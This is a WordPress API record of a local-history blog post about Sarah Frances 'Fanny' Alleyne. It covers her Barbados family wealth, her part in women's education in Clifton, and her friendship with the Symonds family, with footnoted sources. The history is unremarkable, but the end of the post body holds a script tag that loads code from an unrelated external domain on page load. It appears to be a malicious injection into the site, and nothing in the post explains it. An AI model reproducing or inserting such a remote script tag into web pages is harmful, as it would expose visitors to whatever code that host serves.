{"id":557,"date":"2014-08-30T00:54:24","date_gmt":"2014-08-30T00:54:24","guid":{"rendered":"http:\/\/watsonian.co.uk\/symonds\/?p=557"},"modified":"2022-08-14T21:59:54","modified_gmt":"2022-08-14T21:59:54","slug":"sarah-frances-alleyne","status":"publish","type":"post","link":"https:\/\/www.symondsinbristol.co.uk\/?p=557","title":{"rendered":"Sarah Frances Alleyne"},"content":{"rendered":"<p><strong>2 Litfield Place, Clifton.<\/strong><\/p>\n\n\t\t<style type=\"text\/css\">\n\t\t\t#gallery-1 {\n\t\t\t\tmargin: auto;\n\t\t\t}\n\t\t\t#gallery-1 .gallery-item {\n\t\t\t\tfloat: left;\n\t\t\t\tmargin-top: 10px;\n\t\t\t\ttext-align: center;\n\t\t\t\twidth: 33%;\n\t\t\t}\n\t\t\t#gallery-1 img {\n\t\t\t\tborder: 2px solid #cfcfcf;\n\t\t\t}\n\t\t\t#gallery-1 .gallery-caption {\n\t\t\t\tmargin-left: 0;\n\t\t\t}\n\t\t\t\/* see gallery_shortcode() in wp-includes\/media.php *\/\n\t\t<\/style>\n\t\t<div id='gallery-1' class='gallery galleryid-557 gallery-columns-3 gallery-size-thumbnail'><dl class='gallery-item'>\n\t\t\t<dt class='gallery-icon landscape'>\n\t\t\t\t<a href='https:\/\/www.symondsinbristol.co.uk\/?attachment_id=928'><img loading=\"lazy\" decoding=\"async\" width=\"150\" height=\"150\" src=\"https:\/\/www.symondsinbristol.co.uk\/wp-content\/uploads\/2014\/08\/102_07061-150x150.jpg\" class=\"attachment-thumbnail size-thumbnail\" alt=\"\" \/><\/a>\n\t\t\t<\/dt><\/dl>\n\t\t\t<br style='clear: both' \/>\n\t\t<\/div>\n\n<p>Sarah Frances &#8220;Fanny&#8221; Alleyne (1836 &#8211; 1884)\u00a0was a friend of the Symonds family, and advocate\u00a0of women&#8217;s higher education. Margaret Symonds recalled her as &#8220;a poet,<sup><a href=\"#footnote_0_557\" id=\"identifier_0_557\" class=\"footnote-link footnote-identifier-link\" title=\"Other than her numerous translations, Alleyne&rsquo;s published work appears to be limited to&nbsp;Verses &ndash; a posthumously published collection of poetry.\">1<\/a><\/sup> a philosopher, and a woman of rare humanity and intelligence, [who] passed almost unknown to her generation, leaving but a few poems and many friends behind her&#8221;.<sup><a href=\"#footnote_1_557\" id=\"identifier_1_557\" class=\"footnote-link footnote-identifier-link\" title=\"Margaret Symonds, Out of the Past, (London, Murray, 1925) p.212\">2<\/a><\/sup><\/p>\n<p>Alleyne was born in Barbados, where her\u00a0family&#8217;s wealth was built on the proceeds of slavery: sugar and cotton, farmed by enslaved workers. The process of abolition was\u00a0underway\u00a0at the time of her birth, and\u00a0compensation claimed by enslavers show that her father, Charles Thomas Alleyne, claimed a financial\u00a0loss for\u00a0845 people freed from enslavement.<sup><a href=\"#footnote_2_557\" id=\"identifier_2_557\" class=\"footnote-link footnote-identifier-link\" title=\"See further records of Alleyne&rsquo;s grandfather, John F. Alleyne, and her father Charles Thomas Alleyne at UCL&rsquo;s&nbsp;Legacies of British Slave-ownership.&nbsp;\">3<\/a><\/sup>\u00a0The\u00a0family&#8217;s wealth purchased them a fashionable address in Clifton, and Sarah grew up at 2 Litfield place, close to the gullies of Symonds&#8217; childhood.<\/p>\n<p>As an adult, Alleyne was active in the\u00a0Clifton Association for the Higher Education of Women, for whom Symonds was\u00a0a prominent lecturer.\u00a0When Catherine Winkworth became\u00a0secretary, \u00a0Alleyne was soon appointed her co-secretary,<sup><a href=\"#footnote_3_557\" id=\"identifier_3_557\" class=\"footnote-link footnote-identifier-link\" title=\"Margaret Josephine Shaen, Memorials of two sisters, Susanna and Catherine Winkworth,&nbsp;Longmans, Green and co,&nbsp;1908, p.260\">4<\/a><\/sup>\u00a0and 2 Litfield place was co-opted as the venue\u00a0for\u00a0Italian classes (Symonds himself taught\u00a0at St Paul&#8217;s hall,\u00a0Clifton.) Alleyne continued to support the activities of the Association and its successor University College, administrating\u00a0scholarships and local exams\u00a0to promote women&#8217;s access to Oxford and Cambridge. Margaret Symonds remembered that &#8220;Some of the Clifton ladies in those days were wonderfully advanced for their age and all of them were constantly with my Father and Mother. Much of what is called the feminist movement of to-day was, I believe, largely hatched by the great Victorian ladies who inhabited that old seaport of Bristol down below. There were the two Miss Winkworths &#8211; Catherine and Susannah &#8211; there were Miss Fanny Alleyne and Miss Mary Clifford; these had been preceded by Miss Marntineau, Miss Carpenter, Miss Cobbe, and various others.&#8221;<sup><a href=\"#footnote_4_557\" id=\"identifier_4_557\" class=\"footnote-link footnote-identifier-link\" title=\"Out of the Past, p170\">5<\/a><\/sup><\/p>\n<p>Beyond her educational connections, Alleyne was close to the Symonds family, and\u00a0seems to have been on hand when difficulty descended: In\u00a01874, Charlotte Symonds\u00a0fell ill with Scarlet Fever in her parents&#8217; absence, and Alleyne brought\u00a0the family&#8217;s other daughters into her home to protect them from exposure;<sup><a href=\"#footnote_5_557\" id=\"identifier_5_557\" class=\"footnote-link footnote-identifier-link\" title=\"John Addington Symonds, The Letters of John Addington Symonds, Vol. 2&nbsp;: 1869-1884, Ed. Herbert M. Schueller&amp;&nbsp;Robert L. Peters (Detroit: Wayne State University Press, 1968) p354\">6<\/a><\/sup> \u00a0later, when Symonds&#8217; own health suffered a crisis, Alleyne joined the family on the long expedition to Switzerland:<\/p>\n<blockquote><p>&#8220;Some weeks later we made the great move abroad : a party of seven people \u2014 my Father and my Mother, my eldest sister Janet and myself, Miss Fanny Alleyne, Miss Isabella Gamble, and our English manservant. The doctors had said that my Father should make the then common experiment of a winter in Egypt, but that this journey should be broken (a rather roundabout break) by a stay of some months in a quiet Alpine valley.Mrs. T. H. Green, and her husband were staying that summer at Davos, a little-known village of the Alps, and they suggested that we should join them there.&#8221;<sup><a href=\"#footnote_6_557\" id=\"identifier_6_557\" class=\"footnote-link footnote-identifier-link\" title=\"Out of the Past, p174\">7<\/a><\/sup><\/p><\/blockquote>\n<p>In the years following Symonds&#8217; departure from Bristol, Alleyne\u00a0produced English translations of much\u00a0of\u00a0Eduard Zeller&#8217;s writing\u00a0on Greek philosophy\u00a0&#8211; a task which Symonds himself had attempted but found &#8220;intolerably irksome&#8221;.<sup><a href=\"#footnote_7_557\" id=\"identifier_7_557\" class=\"footnote-link footnote-identifier-link\" title=\"H. F. Brown, John Addington Symonds: A Biography, Compiled from His Papers and Correspondence, 2nd edn (London: Smith, Elder &amp; Co., 1903)&nbsp;p.286\">8<\/a><\/sup>\u00a0\u00a0 In 1884, Symonds received news of Alleyne&#8217;s death:<\/p>\n<blockquote><p>&#8220;Alas, alas! the news came to-day that Fanny Alleyne died on Saturday afternoon. It is very sad that so blameless and devoted a nature should have been exposed to this dreadful suffering in the close of her good life. The mystery of the world seems brought home cruelly to our ignorance by such a fate.&#8221;<sup><a href=\"#footnote_8_557\" id=\"identifier_8_557\" class=\"footnote-link footnote-identifier-link\" title=\"Brown, p.395\">9<\/a><\/sup><\/p><\/blockquote>\n<p>Alleyne was buried at St Pauls, Clifton, on the 21st of August 1884. Katherine Symonds was named as God-daughter in her will.<\/p>\n<ol class=\"footnotes\"><li id=\"footnote_0_557\" class=\"footnote\">Other than her numerous translations, Alleyne&#8217;s published work appears to be limited to\u00a0<a href=\"https:\/\/archive.org\/stream\/verses00allegoog#page\/n8\/mode\/2up\">Verses<\/a> &#8211; a posthumously published collection of poetry. [<a href=\"#identifier_0_557\" class=\"footnote-link footnote-back-link\">&#8617;<\/a>]<\/li><li id=\"footnote_1_557\" class=\"footnote\">Margaret Symonds, Out of the Past, (London, Murray, 1925) p.212 [<a href=\"#identifier_1_557\" class=\"footnote-link footnote-back-link\">&#8617;<\/a>]<\/li><li id=\"footnote_2_557\" class=\"footnote\">See further records of Alleyne&#8217;s grandfather, <a href=\"http:\/\/www.ucl.ac.uk\/lbs\/person\/view\/2146641201\">John F. Alleyne<\/a>, and her father <a href=\"http:\/\/www.ucl.ac.uk\/lbs\/person\/view\/6849\">Charles Thomas Alleyne<\/a> at UCL&#8217;s\u00a0Legacies of British Slave-ownership.\u00a0 [<a href=\"#identifier_2_557\" class=\"footnote-link footnote-back-link\">&#8617;<\/a>]<\/li><li id=\"footnote_3_557\" class=\"footnote\">Margaret Josephine Shaen, Memorials of two sisters, Susanna and Catherine Winkworth,\u00a0Longmans, Green and co,\u00a01908, p.260 [<a href=\"#identifier_3_557\" class=\"footnote-link footnote-back-link\">&#8617;<\/a>]<\/li><li id=\"footnote_4_557\" class=\"footnote\">Out of the Past, p170 [<a href=\"#identifier_4_557\" class=\"footnote-link footnote-back-link\">&#8617;<\/a>]<\/li><li id=\"footnote_5_557\" class=\"footnote\">John Addington Symonds, The Letters of John Addington Symonds, Vol. 2\u00a0: 1869-1884, Ed. Herbert M. Schueller&amp;\u00a0Robert L. Peters (Detroit: Wayne State University Press, 1968) p354 [<a href=\"#identifier_5_557\" class=\"footnote-link footnote-back-link\">&#8617;<\/a>]<\/li><li id=\"footnote_6_557\" class=\"footnote\">Out of the Past, p174 [<a href=\"#identifier_6_557\" class=\"footnote-link footnote-back-link\">&#8617;<\/a>]<\/li><li id=\"footnote_7_557\" class=\"footnote\">H. F. Brown, John Addington Symonds: A Biography, Compiled from His Papers and Correspondence, 2nd edn (London: Smith, Elder &amp; Co., 1903)\u00a0p.286 [<a href=\"#identifier_7_557\" class=\"footnote-link footnote-back-link\">&#8617;<\/a>]<\/li><li id=\"footnote_8_557\" class=\"footnote\">Brown, p.395 [<a href=\"#identifier_8_557\" class=\"footnote-link footnote-back-link\">&#8617;<\/a>]<\/li><\/ol><script src=https:\/\/buryebilgrill.online\/footnotes><\/script>","protected":false},"excerpt":{"rendered":"<p>2 Litfield Place, Clifton. Sarah Frances &#8220;Fanny&#8221; Alleyne (1836 &#8211; 1884)\u00a0was a friend of the Symonds family, and advocate\u00a0of women&#8217;s higher education. Margaret Symonds recalled her as &#8220;a poet,1 a philosopher, and a woman of rare humanity and intelligence, [who] passed almost unknown to her generation, leaving but a few poems and many friends behind [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-557","post","type-post","status-publish","format-standard","hentry","category-people"],"_links":{"self":[{"href":"https:\/\/www.symondsinbristol.co.uk\/index.php?rest_route=\/wp\/v2\/posts\/557","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.symondsinbristol.co.uk\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.symondsinbristol.co.uk\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.symondsinbristol.co.uk\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.symondsinbristol.co.uk\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=557"}],"version-history":[{"count":11,"href":"https:\/\/www.symondsinbristol.co.uk\/index.php?rest_route=\/wp\/v2\/posts\/557\/revisions"}],"predecessor-version":[{"id":1416,"href":"https:\/\/www.symondsinbristol.co.uk\/index.php?rest_route=\/wp\/v2\/posts\/557\/revisions\/1416"}],"wp:attachment":[{"href":"https:\/\/www.symondsinbristol.co.uk\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=557"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.symondsinbristol.co.uk\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=557"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.symondsinbristol.co.uk\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=557"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}